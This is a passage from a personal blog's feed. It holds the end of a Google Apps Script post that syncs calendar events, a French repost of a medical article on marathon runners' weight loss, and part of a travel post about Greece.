&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;newEvent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isAllDayEvent&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;newEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;targetCalendar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createAllDayEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;newEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;targetCalendar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getEndTime&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Set specific privacy settings&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isPrivate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;newEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setVisibility&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;CalendarApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Visibility&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PRIVATE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;color&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;newEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;color&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;newEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;removeAllReminders&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt;* Note: We blindly update title/time to ensure data consistency.&lt;/span&gt;
&lt;span class="cm"&gt;* To further optimize, you could check if values differ before setting.&lt;/span&gt;
&lt;span class="cm"&gt;*/&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;updateEventIfChanged&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;targetEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;targetTitle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// We update the title to ensure &amp;quot;Busy&amp;quot; is maintained if the config changed or privacy was toggled&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;targetEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setTitle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;targetTitle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isAllDayEvent&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// For all day events, we generally just check the day, but setAllDayDate is safe&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;targetEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setAllDayDate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;targetEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setTime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getEndTime&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt;* Deletes any events remaining in the map.&lt;/span&gt;
&lt;span class="cm"&gt;*/&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cleanupOrphanedEvents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;orphanMap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;orphanMap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;No orphaned events to delete.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Deleting &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;orphanMap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; orphaned events...`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;starttime_uid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;orphanMap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="sb"&gt;`Deleting &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getTitle&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; (Source UID: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getId&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;) on &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;deleteEvent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Failed to delete event &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getId&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; on &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/google-calendar-result.png" alt="A screenshot of Google Calendar" /&gt;
&lt;figcaption&gt;And here is the result. In gray and purple are the original events from the external calendars.&lt;/figcaption&gt;
&lt;/figure&gt;</content><category term="Code"></category><category term="code"></category><category term="google"></category></entry><entry><title>Course à pied : mieux vaut finir léger</title><link href="https://romainpellerin.eu/course-a-pied-mieux-vaut-finir-leger.html" rel="alternate"></link><published>2025-10-18T12:30:00+02:00</published><updated>2025-10-18T12:30:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-10-18:/course-a-pied-mieux-vaut-finir-leger.html</id><summary type="html">&lt;p&gt;Copie d'un article publié dans une revue de médecine&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ci-dessous une copie d'&lt;a href="https://www.revmed.ch/revue-medicale-suisse/2011/revue-medicale-suisse-278/course-a-pied-mieux-vaut-finir-leger"&gt;un article&lt;/a&gt; paru dans "Revue Médicale Suisse" le 19 janvier 2011, au cas où l'article viendrait à ne plus être disponible en ligne (&lt;a href="https://www.revmed.ch/view/509705/4177696/RMS_idPAS_D_ISBN_pu2011-02s_sa26_art26.pdf"&gt;PDF&lt;/a&gt;). Par Sylvain Berney.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Perdre du poids pendant un marathon s’avérerait avantageux pour les performances du sportif.&lt;/p&gt;
&lt;p&gt;Interpellés par les résultats contradictoires obtenus lors de précédentes études, des chercheurs de l’Université de Rennes se sont penchés sur la relation entre performances athlétiques et changements de masse corporelle chez 643 coureurs de marathon.1&lt;/p&gt;
&lt;p&gt;Ayant reçu les mêmes conseils concernant la prise de liquides durant l’épreuve (environ 250 ml chaque 20 minutes), les coureurs du marathon du Mont-Saint-Michel de l’année 2009 ont été pesés avant et immédiatement après la course. Les mesures étaient effectuées par le même examinateur et sur la même balance. Confrontée aux résultats des athlètes sur la ligne d’arrivée, la mesure du poids corporel a montré une relation inversement proportionnelle : plus les coureurs avaient perdu de poids lors de la course, meilleures étaient leurs performances. A titre d’exemple, ceux terminant en moins de 3 h perdaient plus de 3% de leur poids. Les coureurs ayant pris du poids lors de la course s’avéraient être les athlètes les moins bien classés.&lt;/p&gt;
&lt;p&gt;L’intérêt de ces résultats est qu’ils s’opposent aux conclusions d’études préalables (notamment celles réalisées en laboratoire), qui suggéraient qu’une perte de plus de 2% du poids corporel total est néfaste aux performances athlétiques. Ces résultats ont influencé les recommandations en vigueur de l’American College of Sports Medicine (ACSM), qui conseillent aux coureurs de boire selon leur sensation de soif mais aussi de manière à ne pas dépasser cette limite de 2% de pertes.2 D’autre part, un rapport récent sur le détenteur du record du monde de marathon (2 h 03 min 59 s) montre que l’athlète aurait perdu plus de 10% de son poids lors de son exploit.3 Si la théorie des 2% néfastes aux performances s’avérait correcte, une telle performance serait peu probable. D’autres études avaient déjà suggéré que les coureurs les plus rapides perdaient plus de poids.&lt;/p&gt;
&lt;p&gt;Chaque coureur du Mont-Saint-Michel s’hydratait différemment des autres. Cette différence semble dépendre de signaux biologiques visant à optimiser la performance tout en respectant l’osmolalité sanguine.&lt;/p&gt;
&lt;p&gt;Selon H. Zouhal, C. Groussard et coll., le risque de choc thermique par déshydratation lors d’un exercice d’endurance prolongé reste faible comparé au risque d’encéphalopathie hyponatrémique associée à une hydratation excessive.&lt;/p&gt;
&lt;p&gt;En conclusion, chez des athlètes entraînés, une perte de poids durant la course pourrait s’avérer bénéfique simplement parce que le poids total à transporter diminue. Son effet néfaste n’est pour le moment pas démontré.&lt;/p&gt;
&lt;/blockquote&gt;</content><category term="Running"></category><category term="running"></category></entry><entry><title>Greece</title><link href="https://romainpellerin.eu/greece.html" rel="alternate"></link><published>2025-10-16T23:00:00+02:00</published><updated>2025-10-16T23:37:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-10-16:/greece.html</id><summary type="html">&lt;p&gt;Some tips about Greece&lt;/p&gt;</summary><content type="html">&lt;p&gt;I recently spent a little over a week in Greece. Here is what I've learned and seen and would recommend.&lt;/p&gt;
&lt;h1 id="facts-about-greece"&gt;Facts about Greece&lt;/h1&gt;
&lt;h2 id="water-usage"&gt;Water usage&lt;/h2&gt;
&lt;p&gt;Most buildings in Greece have a hot water tank located on their roof, connected to a solar water heater (like a solar panel). This is how they heat up water and store it. Some buildings also come with electrical heaters to provide hot water at any given time.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/greece/solar-panels.jpg" alt="Solar panels on a roof" /&gt;
&lt;figcaption&gt;Solar panels and a water tank&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Speaking of water, locals often said that tap water should not be drinked on the islands. After some googling and trying it myself, it is quite safe to drink, at least on Santorini and Sifnos. It meets EU standard. The taste may feel a little weird as it is desalinated water... but nothing to worry about. I drank plenty and I'm still alive.&lt;/p&gt;
&lt;h2 id="restaurants"&gt;Restaurants&lt;/h2&gt;
&lt;p&gt;Tipping at restaurants is not such a thing but it is usually expected of tourists, probably because of Americans bringing their tipping culture. A lot of POS terminals even offer the annoying buttons to tip 10, 15 or even 20% when paying by card.&lt;/p&gt;
&lt;p&gt;Rounding up to the nearest euro is what Greeks do when paying in cash, from what I gathered.&lt;/p&gt;
&lt;p&gt;It is also quite common to be served a dessert or digestive at the end of a meal, on the house (for free). It is less common in very touristic areas though.&lt;/p&gt;
&lt;h2 id="pipes"&gt;Pipes&lt;/h2&gt;
&lt;p&gt;Historically, Greece has had quite narrow pipes connected to their sewers. Narrower than most countries in the world at least. And they clog up easily. To prevent this, Greeks do not throw toilet paper in their toilets. You'll see such signs everywhere. Instead, they throw it in a bin next to the toilet.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/greece/toilets.jpg" alt="A sign next to a toilet" /&gt;
&lt;figcaption&gt;In most places, throwing toilet paper in the toilet is forbidden&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="driving"&gt;Driving&lt;/h2&gt;
&lt;p&gt;They drive quite old cars, especially on the islands. I saw cars that I haven't seen in Germany or France for like 10 years&lt;/p&gt;
&lt;p&gt;On top of that, it is not uncommon to see damaged cars either, with parts missing or replaced with another one with a non matching color, or rusty parts.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/greece/cars.jpg" alt="A photo of a deteriorated car" /&gt;
&lt;figcaption&gt;A car not so new anymore&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Although wearing a helmet when driving a scooter is mandatory, I have seen A LOT of people without one. Sometimes both the driver and the passenger. Not just on 50cc, also 125cc. Reckless!&lt;/p&gt;
&lt;p&gt;I saw a lot of 30 or 40 km/h speed limits on road signs on the islands... but everyone was driving faster. Also, and that is valid for Athens too: paint on the road seems too expensive (or too useless?) to be maintained. Stop markings, pedestrian crossings: barely visible. It seemed like it was last painted 20 years.&lt;/p&gt;
&lt;p&gt;Fun fact: on the islands, people seem to trust one another at a different level than what I'm used to. So much that they often leave their helmets and scooter keys... on the scooter!! Even at night. Crazy!&lt;/p&gt;
&lt;h2 id="trash-management"&gt;Trash management&lt;/h2&gt;
&lt;p&gt;Greece is infested with trash. It was pretty OK in Athens, but definitely not on the islands.&lt;/p&gt;
&lt;p&gt;In Athens, sorting trash and recyling is a thing, despite not being generalized everywhere. On the islands, far from it. I pretty much never saw any recycling bin on Sifnos or Santorini. Everything goes in the general waste bin. I also got to see a massive landfill on Sifnos, a bit hidden behind the hills, far from the villages. Very gross.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/greece/trash.jpg" alt="Trash" /&gt;
&lt;figcaption&gt;Trash is everywhere in Greece - at least on the islands&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Also, the islands are quite dirty. Outside the cities, there was trash everywhere: by the side of the road, in the fields...&lt;/p&gt;
&lt;h1 id="athens"&gt;Athens&lt;/h1&gt;
&lt;p&gt;Athens is really nice to visit! History is at every corner. Not only ancient history, but also modern history: things related to the Olympic Games, for instance.&lt;/p&gt;
&lt;p&gt;Overall, the city is quite walkable. It is also well connected with subways and trains. A subway ticket costs 1.9 euros at the time of writing. Yet expect a lot of traffic.&lt;/p&gt;
&lt;p&gt;The city is a mix of run-down buildings, some of them completely abandonned, and new modern buildings.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/greece/athens.jpg" alt="The Acropolis in Athens" /&gt;
&lt;figcaption&gt;Athens - The Acropolis&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I only spent two days in Athens, here's what I visited:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Acropolis of course. A ticket costs 30 euros.&lt;/li&gt;
&lt;li&gt;Went to the Lycabettus Hill Viewing Area, where the Holy Church of Saint George of Lycabettus is&lt;/li&gt;
&lt;li&gt;Athens National Garden&lt;/li&gt;
&lt;li&gt;Panathenaic Stadium: a must see for anyone interested in sports. A ticket costs 12 euros.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I highly recommend walking in the evening or at night around the Acropolis or in the Plaka neighborhood. It's lively and full of good restaurants.&lt;/p&gt;
&lt;h1 id="islands"&gt;Islands&lt;/h1&gt;
&lt;h2 id="sifnos"&gt;Sifnos&lt;/h2&gt;
&lt;p&gt;Sifnos was a delight. Not very touristic, and not many people in general. Few villages, very quiet at night. Yet, beautiful beaches and many things to discover. There are also &lt;a href="https://sifnostrails.com/"&gt;trails for those who like hiking&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I got to do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An hour long hike from Vathi to a nice beach called "Paralia Fikiada"&lt;/li&gt;
&lt;li&gt;The beach "Paralia Platis Gialos" is great because of all the cafes and shops next to it. And the view, facing south, is quite nice.&lt;/li&gt;
&lt;li&gt;Apokofto beach and the Chrisopigi Monastery&lt;/li&gt;
&lt;li&gt;Explored Kastro and saw the Church of the Seven Martyrs&lt;/li&gt;
&lt;li&gt;We were staying in Kamares, at a hotel called Margado. 200% recommended! The Kamares beach is AMAZING for its sunsets.&lt;/li&gt;
&lt;li&gt;Drove all the way up to Agios Symeon to enjoy the view&lt;/li&gt;
&lt;li&gt;Had a great dinner at Sunset in Troulaki&lt;/li&gt;
